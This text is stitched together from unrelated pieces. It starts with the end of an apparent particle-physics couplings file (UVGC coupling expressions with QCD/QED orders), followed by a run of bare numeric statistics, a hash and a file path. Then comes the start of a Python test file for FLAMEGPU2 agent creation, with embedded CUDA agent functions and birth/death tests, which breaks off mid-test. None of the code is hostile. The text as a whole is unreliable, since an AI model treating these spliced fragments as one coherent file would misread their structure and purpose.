value = {-1:'( (G**2*yt)/(6.*cmath.pi**2*cmath.sqrt(2)) if MT else -(G**2*yt)/(12.*cmath.pi**2*cmath.sqrt(2)) ) + (G**2*yt)/(3.*cmath.pi**2*cmath.sqrt(2))',0:'( (3*G**2*yt)/(4.*cmath.pi**2*cmath.sqrt(2)) - (G**2*yt*reglog(MT/MU_R))/(cmath.pi**2*cmath.sqrt(2)) if MT else (G**2*yt)/(12.*cmath.pi**2*cmath.sqrt(2)) ) - (G**2*yt)/(12.*cmath.pi**2*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_263_105 = Coupling(name = 'UVGC_263_105',
value = {-1:'( -(cb*complex(0,1)*G**2*yt)/(12.*cmath.pi**2*sb) if MB else (cb*complex(0,1)*G**2*yt)/(24.*cmath.pi**2*sb) )',0:'( (-5*cb*complex(0,1)*G**2*yt)/(24.*cmath.pi**2*sb) + (cb*complex(0,1)*G**2*yt*reglog(MB/MU_R))/(4.*cmath.pi**2*sb) if MB else -(cb*complex(0,1)*G**2*yt)/(24.*cmath.pi**2*sb) ) + (cb*complex(0,1)*G**2*yt)/(24.*cmath.pi**2*sb)'},
order = {'QCD':2,'QED':1})
UVGC_263_106 = Coupling(name = 'UVGC_263_106',
value = {-1:'( -(cb*complex(0,1)*G**2*yt)/(12.*cmath.pi**2*sb) if MT else (cb*complex(0,1)*G**2*yt)/(24.*cmath.pi**2*sb) )',0:'( (-13*cb*complex(0,1)*G**2*yt)/(24.*cmath.pi**2*sb) + (3*cb*complex(0,1)*G**2*yt*reglog(MT/MU_R))/(4.*cmath.pi**2*sb) if MT else -(cb*complex(0,1)*G**2*yt)/(24.*cmath.pi**2*sb) ) + (cb*complex(0,1)*G**2*yt)/(24.*cmath.pi**2*sb)'},
order = {'QCD':2,'QED':1})
UVGC_263_107 = Coupling(name = 'UVGC_263_107',
value = {-1:'-(cb*complex(0,1)*G**2*yt)/(3.*cmath.pi**2*sb)'},
order = {'QCD':2,'QED':1})
UVGC_264_108 = Coupling(name = 'UVGC_264_108',
value = {-1:'( (cb*G**2*yt)/(6.*cmath.pi**2*sb*cmath.sqrt(2)) if MT else -(cb*G**2*yt)/(12.*cmath.pi**2*sb*cmath.sqrt(2)) ) + (cb*G**2*yt)/(3.*cmath.pi**2*sb*cmath.sqrt(2))',0:'( (3*cb*G**2*yt)/(4.*cmath.pi**2*sb*cmath.sqrt(2)) - (cb*G**2*yt*reglog(MT/MU_R))/(cmath.pi**2*sb*cmath.sqrt(2)) if MT else (cb*G**2*yt)/(12.*cmath.pi**2*sb*cmath.sqrt(2)) ) - (cb*G**2*yt)/(12.*cmath.pi**2*sb*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_265_109 = Coupling(name = 'UVGC_265_109',
value = {-1:'( (cb*cba*complex(0,1)*G**2*yt)/(6.*cmath.pi**2*sb*cmath.sqrt(2)) + (complex(0,1)*G**2*sba*yt)/(6.*cmath.pi**2*cmath.sqrt(2)) if MT else -(cb*cba*complex(0,1)*G**2*yt)/(12.*cmath.pi**2*sb*cmath.sqrt(2)) - (complex(0,1)*G**2*sba*yt)/(12.*cmath.pi**2*cmath.sqrt(2)) ) + (cb*cba*complex(0,1)*G**2*yt)/(3.*cmath.pi**2*sb*cmath.sqrt(2)) + (complex(0,1)*G**2*sba*yt)/(3.*cmath.pi**2*cmath.sqrt(2))',0:'( (3*cb*cba*complex(0,1)*G**2*yt)/(4.*cmath.pi**2*sb*cmath.sqrt(2)) + (3*complex(0,1)*G**2*sba*yt)/(4.*cmath.pi**2*cmath.sqrt(2)) - (cb*cba*complex(0,1)*G**2*yt*reglog(MT/MU_R))/(cmath.pi**2*sb*cmath.sqrt(2)) - (complex(0,1)*G**2*sba*yt*reglog(MT/MU_R))/(cmath.pi**2*cmath.sqrt(2)) if MT else (cb*cba*complex(0,1)*G**2*yt)/(12.*cmath.pi**2*sb*cmath.sqrt(2)) + (complex(0,1)*G**2*sba*yt)/(12.*cmath.pi**2*cmath.sqrt(2)) ) - (cb*cba*complex(0,1)*G**2*yt)/(12.*cmath.pi**2*sb*cmath.sqrt(2)) - (complex(0,1)*G**2*sba*yt)/(12.*cmath.pi**2*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_266_110 = Coupling(name = 'UVGC_266_110',
value = {-1:'( (cba*complex(0,1)*G**2*yt)/(6.*cmath.pi**2*cmath.sqrt(2)) - (cb*complex(0,1)*G**2*sba*yt)/(6.*cmath.pi**2*sb*cmath.sqrt(2)) if MT else -(cba*complex(0,1)*G**2*yt)/(12.*cmath.pi**2*cmath.sqrt(2)) + (cb*complex(0,1)*G**2*sba*yt)/(12.*cmath.pi**2*sb*cmath.sqrt(2)) ) + (cba*complex(0,1)*G**2*yt)/(3.*cmath.pi**2*cmath.sqrt(2)) - (cb*complex(0,1)*G**2*sba*yt)/(3.*cmath.pi**2*sb*cmath.sqrt(2))',0:'( (3*cba*complex(0,1)*G**2*yt)/(4.*cmath.pi**2*cmath.sqrt(2)) - (3*cb*complex(0,1)*G**2*sba*yt)/(4.*cmath.pi**2*sb*cmath.sqrt(2)) - (cba*complex(0,1)*G**2*yt*reglog(MT/MU_R))/(cmath.pi**2*cmath.sqrt(2)) + (cb*complex(0,1)*G**2*sba*yt*reglog(MT/MU_R))/(cmath.pi**2*sb*cmath.sqrt(2)) if MT else (cba*complex(0,1)*G**2*yt)/(12.*cmath.pi**2*cmath.sqrt(2)) - (cb*complex(0,1)*G**2*sba*yt)/(12.*cmath.pi**2*sb*cmath.sqrt(2)) ) - (cba*complex(0,1)*G**2*yt)/(12.*cmath.pi**2*cmath.sqrt(2)) + (cb*complex(0,1)*G**2*sba*yt)/(12.*cmath.pi**2*sb*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
| 63.11715
| 985
| 0.482157
| 8,959
| 52,261
| 2.715593
| 0.030695
| 0.136093
| 0.155535
| 0.1751
| 0.773604
| 0.772083
| 0.764314
| 0.746434
| 0.71273
| 0.693452
| 0
| 0.147007
| 0.243757
| 52,261
| 827
| 986
| 63.19347
| 0.468574
| 0.002985
| 0
| 0.332248
| 0
| 0.350163
| 0.545393
| 0.446545
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.003257
| 0
| 0.003257
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
86b05b7f215033a977acf01467cbb5dea81eaa3d
| 47,676
|
py
|
Python
|
tests/swig/python/runtime/test_device_agent_creation.py
|
MILeach/FLAMEGPU2_dev
|
d1f25edae36992974259e2b80773cddbb7592d2d
|
[
"MIT"
] | null | null | null |
tests/swig/python/runtime/test_device_agent_creation.py
|
MILeach/FLAMEGPU2_dev
|
d1f25edae36992974259e2b80773cddbb7592d2d
|
[
"MIT"
] | null | null | null |
tests/swig/python/runtime/test_device_agent_creation.py
|
MILeach/FLAMEGPU2_dev
|
d1f25edae36992974259e2b80773cddbb7592d2d
|
[
"MIT"
] | null | null | null |
import pytest
from unittest import TestCase
from pyflamegpu import *
# Agent arrays
AGENT_COUNT = 1024
class DeviceAgentCreationTest(TestCase):
MandatoryOutput = """
FLAMEGPU_AGENT_FUNCTION(MandatoryOutput, MsgNone, MsgNone) {
unsigned int id = FLAMEGPU->getVariable<unsigned int>("id") + 1;
FLAMEGPU->agent_out.setVariable<float>("x", id + 12.0);
FLAMEGPU->agent_out.setVariable<unsigned int>("id", id);
return ALIVE;
}"""
OptionalOutput = """
FLAMEGPU_AGENT_FUNCTION(OptionalOutput, MsgNone, MsgNone) {
unsigned int id = FLAMEGPU->getVariable<unsigned int>("id") + 1;
if (threadIdx.x % 2 == 0) {
FLAMEGPU->agent_out.setVariable<float>("x", id + 12.0);
FLAMEGPU->agent_out.setVariable<unsigned int>("id", id);
}
return ALIVE;
}"""
MandatoryOutputWithDeath = """
FLAMEGPU_AGENT_FUNCTION(MandatoryOutputWithDeath, MsgNone, MsgNone) {
unsigned int id = FLAMEGPU->getVariable<unsigned int>("id") + 1;
FLAMEGPU->agent_out.setVariable<float>("x", id + 12.0);
FLAMEGPU->agent_out.setVariable<unsigned int>("id", id);
return DEAD;
}"""
OptionalOutputWithDeath = """
FLAMEGPU_AGENT_FUNCTION(OptionalOutputWithDeath, MsgNone, MsgNone) {
unsigned int id = FLAMEGPU->getVariable<unsigned int>("id") + 1;
if (threadIdx.x % 2 == 0) {
FLAMEGPU->agent_out.setVariable<float>("x", id + 12.0);
FLAMEGPU->agent_out.setVariable<unsigned int>("id", id);
} else {
return DEAD;
}
return ALIVE;
}"""
EvenThreadsOnlyCdn = """
FLAMEGPU_AGENT_FUNCTION_CONDITION(EvenThreadsOnlyCdn) {
return threadIdx.x % 2 == 0;
}
"""
ArrayVarDeviceBirth = """
FLAMEGPU_AGENT_FUNCTION(ArrayVarDeviceBirth, MsgNone, MsgNone) {
unsigned int i = FLAMEGPU->getVariable<unsigned int>("id") * 3;
FLAMEGPU->agent_out.setVariable<unsigned int>("id", i);
FLAMEGPU->agent_out.setVariable<int, 4>("array_var", 0, 3 + i);
FLAMEGPU->agent_out.setVariable<int, 4>("array_var", 1, 5 + i);
FLAMEGPU->agent_out.setVariable<int, 4>("array_var", 2, 9 + i);
FLAMEGPU->agent_out.setVariable<int, 4>("array_var", 3, 17 + i);
FLAMEGPU->agent_out.setVariable<float>("y", 14.0f + i);
return DEAD;
}"""
ArrayVarDeviceBirth_DefaultWorks = """
FLAMEGPU_AGENT_FUNCTION(ArrayVarDeviceBirth_DefaultWorks, MsgNone, MsgNone) {
unsigned int i = FLAMEGPU->getVariable<unsigned int>("id") * 3;
FLAMEGPU->agent_out.setVariable<unsigned int>("id", i);
return DEAD;
}
"""
ArrayVarDeviceBirth_ArrayUnsuitable = """
FLAMEGPU_AGENT_FUNCTION(ArrayVarDeviceBirth_ArrayUnsuitable, MsgNone, MsgNone) {
FLAMEGPU->agent_out.setVariable<int>("array_var", 0);
return DEAD;
}"""
def test_mandatory_output_same_state(self):
# Define model
model = pyflamegpu.ModelDescription("test_mandatory_output_same_state")
agent = model.newAgent("agent")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.MandatoryOutput)
function.setAgentOutput(agent)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population)
# Execute model
cuda_model.step()
# Test output
cuda_model.getPopulationData(population)
# Validate each agent has same result
assert len(population) == AGENT_COUNT * 2
is_1 = 0
is_12 = 0
for ai in population:
id = ai.getVariableUInt("id")
val = ai.getVariableFloat("x") - id
if (val == 1.0) :
is_1 += 1
elif (val == 12.0):
is_12 += 1
assert is_1 == AGENT_COUNT
assert is_12 == AGENT_COUNT
def test_optional_output_same_state(self):
# Define model
model = pyflamegpu.ModelDescription("test_optional_output_same_state")
agent = model.newAgent("agent")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.OptionalOutput)
function.setAgentOutput(agent)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population)
# Execute model
cuda_model.step()
# Test output
cuda_model.getPopulationData(population)
# Validate each agent has same result
assert len(population) == int(AGENT_COUNT * 1.5)
is_1 = 0
is_12 = 0
for ai in population:
id = ai.getVariableUInt("id")
val = ai.getVariableFloat("x") - id
if (val == 1.0):
is_1 += 1
elif (val == 12.0):
is_12 += 1
assert is_1 == AGENT_COUNT
assert is_12 == AGENT_COUNT/2
def test_mandatory_output_different_state(self):
# Define model
model = pyflamegpu.ModelDescription("test_mandatory_output_different_state")
agent = model.newAgent("agent")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.MandatoryOutput)
function.setInitialState("a")
function.setEndState("a")
function.setAgentOutput(agent, "b")
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population, "a")
# Execute model
cuda_model.step()
# Test output
population_a = pyflamegpu.AgentVector(model.Agent("agent"))
population_b = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population_a, "a")
cuda_model.getPopulationData(population_b, "b")
# Validate each agent has same result
assert len(population_a) == AGENT_COUNT
assert len(population_b) == AGENT_COUNT
for ai in population_a:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
for ai in population_b:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0
def test_optional_output_different_state(self):
# Define model
model = pyflamegpu.ModelDescription("test_optional_output_different_state")
agent = model.newAgent("agent")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.OptionalOutput)
function.setInitialState("a")
function.setEndState("a")
function.setAgentOutput(agent, "b")
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population, "a")
# Execute model
cuda_model.step()
# Test output
population_a = pyflamegpu.AgentVector(model.Agent("agent"))
population_b = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population_a, "a")
cuda_model.getPopulationData(population_b, "b")
# Validate each agent has same result
assert len(population_a) == AGENT_COUNT
assert len(population_b) == AGENT_COUNT / 2
for ai in population_a:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
for ai in population_b:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0
def test_mandatory_output_same_state_with_death(self):
# Define model
model = pyflamegpu.ModelDescription("test_mandatory_output_same_state_with_death")
agent = model.newAgent("agent")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.MandatoryOutputWithDeath)
function.setAgentOutput(agent)
function.setAllowAgentDeath(True)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population)
# Execute model
cuda_model.step()
# Test output
cuda_model.getPopulationData(population)
# Validate each agent has same result
assert len(population) == AGENT_COUNT
is_1 = 0
is_12 = 0
for ai in population:
id = ai.getVariableUInt("id")
val = ai.getVariableFloat("x") - id
if (val == 1.0):
is_1 += 1
elif (val == 12.0):
is_12 += 1
assert is_1 == 0
assert is_12 == AGENT_COUNT
def test_optional_output_same_state_with_death(self):
# Define model
model = pyflamegpu.ModelDescription("test_optional_output_same_state_with_death")
agent = model.newAgent("agent")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.OptionalOutputWithDeath)
function.setAgentOutput(agent)
function.setAllowAgentDeath(True)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
AGENT_COUNT = 1024
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population)
# Execute model
cuda_model.step()
# Test output
cuda_model.getPopulationData(population)
# Validate each agent has same result
assert len(population) == AGENT_COUNT
is_1 = 0
is_12 = 0
for ai in population:
id = ai.getVariableUInt("id")
val = ai.getVariableFloat("x") - id
if (val == 1.0):
is_1 += 1
elif (val == 12.0):
is_12 += 1
assert is_1 == AGENT_COUNT / 2
assert is_12 == AGENT_COUNT / 2
def test_mandatory_output_different_state_with_death(self):
# Define model
model = pyflamegpu.ModelDescription("test_mandatory_output_different_state_with_death")
agent = model.newAgent("agent")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.MandatoryOutputWithDeath)
function.setInitialState("a")
function.setEndState("a")
function.setAgentOutput(agent, "b")
function.setAllowAgentDeath(True)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population, "a")
# Execute model
cuda_model.step()
# Test output
population_a = pyflamegpu.AgentVector(model.Agent("agent"))
population_b = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population_a, "a")
cuda_model.getPopulationData(population_b, "b")
# Validate each agent has same result
assert len(population_a) == 0
assert len(population_b) == AGENT_COUNT
for ai in population_b:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0
def test_optional_output_different_state_with_death(self):
# Define model
model = pyflamegpu.ModelDescription("test_optional_output_different_state_with_death")
agent = model.newAgent("agent")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.OptionalOutputWithDeath)
function.setInitialState("a")
function.setEndState("a")
function.setAgentOutput(agent, "b")
function.setAllowAgentDeath(True)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population, "a")
# Execute model
cuda_model.step()
# Test output
population_a = pyflamegpu.AgentVector(model.Agent("agent"))
population_b = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population_a, "a")
cuda_model.getPopulationData(population_b, "b")
# Validate each agent has same result
assert len(population_a) == AGENT_COUNT / 2
assert len(population_b) == AGENT_COUNT / 2
for ai in population_a:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
for ai in population_b:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0
# Tests beyond here all also check id % 2 or id % 4
def test_mandatory_output_different_agent(self):
# Define model
model = pyflamegpu.ModelDescription("test_mandatory_output_different_agent")
agent = model.newAgent("agent")
agent2 = model.newAgent("agent2")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
agent2.newVariableFloat("x")
agent2.newVariableUInt("id")
function = agent2.newRTCFunction("output", self.MandatoryOutput)
function.setAgentOutput(agent, "b")
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent2"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population)
# Execute model
cuda_model.step()
# Test output
newPopulation = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population)
cuda_model.getPopulationData(newPopulation, "b")
# Validate each agent has same result
assert len(population) == AGENT_COUNT
assert len(newPopulation) == AGENT_COUNT
is_1_mod2_0 = 0
is_1_mod2_1 = 0
for ai in population:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
if (ai.getVariableUInt("id") % 2 == 0) :
is_1_mod2_0 += 1
else :
is_1_mod2_1 += 1
assert is_1_mod2_0 == AGENT_COUNT / 2
assert is_1_mod2_1 == AGENT_COUNT / 2
is_12_mod2_0 = 0
is_12_mod2_1 = 0
for ai in newPopulation:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0
if (ai.getVariableUInt("id") % 2 == 0):
is_12_mod2_0 += 1
else :
is_12_mod2_1 += 1
assert is_12_mod2_0 == AGENT_COUNT / 2
assert is_12_mod2_1 == AGENT_COUNT / 2
def test_optional_output_different_agent(self):
# Define model
model = pyflamegpu.ModelDescription("test_optional_output_different_agent")
agent = model.newAgent("agent")
agent2 = model.newAgent("agent2")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
agent2.newVariableFloat("x")
agent2.newVariableUInt("id")
function = agent2.newRTCFunction("output", self.OptionalOutput)
function.setAgentOutput(agent, "b")
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent2"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population)
# Execute model
cuda_model.step()
# Test output
newPopulation = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population)
cuda_model.getPopulationData(newPopulation, "b")
# Validate each agent has same result
assert len(population) == AGENT_COUNT
assert len(newPopulation) == AGENT_COUNT / 2
is_1_mod2_0 = 0
is_1_mod2_1 = 0
for ai in population:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
if (ai.getVariableUInt("id") % 2 == 0):
is_1_mod2_0 += 1
else:
is_1_mod2_1 += 1
assert is_1_mod2_0 == AGENT_COUNT / 2
assert is_1_mod2_1 == AGENT_COUNT / 2
for ai in newPopulation:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0
assert ai.getVariableUInt("id") % 2 == 1
def test_mandatory_output_different_agent_with_death(self):
# 1024 initial agents (type 'agent2') with value 1
# every agent outputs a new agent (type 'agent') with value 12, and then dies
# Define model
model = pyflamegpu.ModelDescription("test_mandatory_output_different_agent_with_death")
agent = model.newAgent("agent")
agent2 = model.newAgent("agent2")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
agent2.newVariableFloat("x")
agent2.newVariableUInt("id")
function = agent2.newRTCFunction("output", self.MandatoryOutputWithDeath)
function.setAgentOutput(agent, "b")
function.setAllowAgentDeath(True)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent2"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population)
# Execute model
cuda_model.step()
# Test output
newPopulation = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population)
cuda_model.getPopulationData(newPopulation, "b")
# Validate each agent has same result
assert len(population) == 0
assert len(newPopulation) == AGENT_COUNT
is_1 = 0
is_12 = 0
is_12_mod2_0 = 0
is_12_mod2_1 = 0
for ai in newPopulation:
id = ai.getVariableUInt("id")
val = ai.getVariableFloat("x") - id
if (val == 1.0):
is_1 += 1
elif (val == 12.0):
is_12 += 1
if (ai.getVariableUInt("id") % 2 == 0):
is_12_mod2_0 += 1
else:
is_12_mod2_1 += 1
assert is_1 == 0
assert is_12 == AGENT_COUNT
assert is_12_mod2_0 == AGENT_COUNT / 2
assert is_12_mod2_1 == AGENT_COUNT / 2
def test_optional_output_different_agent_with_death(self):
# Define model
model = pyflamegpu.ModelDescription("test_optional_output_different_agent_with_death")
agent = model.newAgent("agent")
agent2 = model.newAgent("agent2")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
agent2.newVariableFloat("x")
agent2.newVariableUInt("id")
function = agent2.newRTCFunction("output", self.OptionalOutputWithDeath)
function.setAgentOutput(agent, "b")
function.setAllowAgentDeath(True)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent2"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population)
# Execute model
cuda_model.step()
# Test output
cuda_model.getPopulationData(population)
# Validate each agent has same result
newPopulation = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population)
cuda_model.getPopulationData(newPopulation, "b")
# Validate each agent has same result
assert len(population) == AGENT_COUNT / 2
assert len(newPopulation) == AGENT_COUNT / 2
for ai in population:
assert ai.getVariableUInt("id") % 2 == 0
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
for ai in newPopulation:
assert ai.getVariableUInt("id") % 2 == 1
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0
def test_default_variable_value(self):
# Define model
model = pyflamegpu.ModelDescription("test_default_variable_value")
agent = model.newAgent("agent")
agent2 = model.newAgent("agent2")
agent.newVariableFloat("x")
agent.newVariableFloat("default", 15.0)
agent.newVariableUInt("id")
agent2.newVariableFloat("x")
agent2.newVariableUInt("id")
function = agent2.newRTCFunction("output", self.MandatoryOutput)
function.setAgentOutput(agent)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
AGENT_COUNT = 1024
population = pyflamegpu.AgentVector(model.Agent("agent2"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population)
# Execute model
cuda_model.step()
# Test output
newPopulation = pyflamegpu.AgentVector(model.Agent("agent"))
# cuda_model.getPopulationData(population)
cuda_model.getPopulationData(newPopulation)
# Validate each new agent has default value
assert len(newPopulation) == AGENT_COUNT
is_15 = 0
is_12_mod2_1 = 0
is_12_mod2_3 = 0
for ai in newPopulation:
if (ai.getVariableFloat("default") == 15.0):
is_15 += 1
if (ai.getVariableUInt("id") % 4 == 1):
is_12_mod2_1 += 1
elif (ai.getVariableUInt("id") % 4 == 3):
is_12_mod2_3 += 1
assert is_15 == AGENT_COUNT
assert is_12_mod2_1 == AGENT_COUNT / 4
assert is_12_mod2_3 == AGENT_COUNT / 4
def test_mandatory_output_same_state_with_agent_function_condition(self):
# Define model
model = pyflamegpu.ModelDescription("test_mandatory_output_same_state_with_agent_function_condition")
agent = model.newAgent("agent")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.MandatoryOutput)
function.setRTCFunctionCondition(self.EvenThreadsOnlyCdn)
function.setInitialState("a")
function.setEndState("b")
function.setAgentOutput(agent, "b")
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population, "a")
# Execute model
cuda_model.step()
# Test output
population_a = pyflamegpu.AgentVector(model.Agent("agent"))
population_b = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population_a, "a")
cuda_model.getPopulationData(population_b, "b")
# Validate each agent has same result
assert len(population_a) == AGENT_COUNT / 2
assert len(population_b) == AGENT_COUNT
for ai in population_a:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
assert ai.getVariableUInt("id") % 2 == 1
is_1 = 0
is_12 = 0
is_12_mod2_1 = 0
is_12_mod2_3 = 0
for ai in population_b:
if (ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0):
is_12 += 1
if (ai.getVariableUInt("id") % 4 == 1):
is_12_mod2_1 += 1
elif (ai.getVariableUInt("id") % 4 == 3):
is_12_mod2_3 += 1
elif (ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0):
is_1 += 1
assert ai.getVariableUInt("id") % 2 == 0
assert is_1 == AGENT_COUNT / 2
assert is_12 == AGENT_COUNT / 2
assert is_12_mod2_1 == AGENT_COUNT / 4
assert is_12_mod2_3 == AGENT_COUNT / 4
def test_optional_output_same_state_with_agent_function_condition(self):
# Define model
model = pyflamegpu.ModelDescription("test_optional_output_same_state_with_agent_function_condition")
agent = model.newAgent("agent")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.OptionalOutput)
function.setRTCFunctionCondition(self.EvenThreadsOnlyCdn)
function.setInitialState("a")
function.setEndState("b")
function.setAgentOutput(agent, "b")
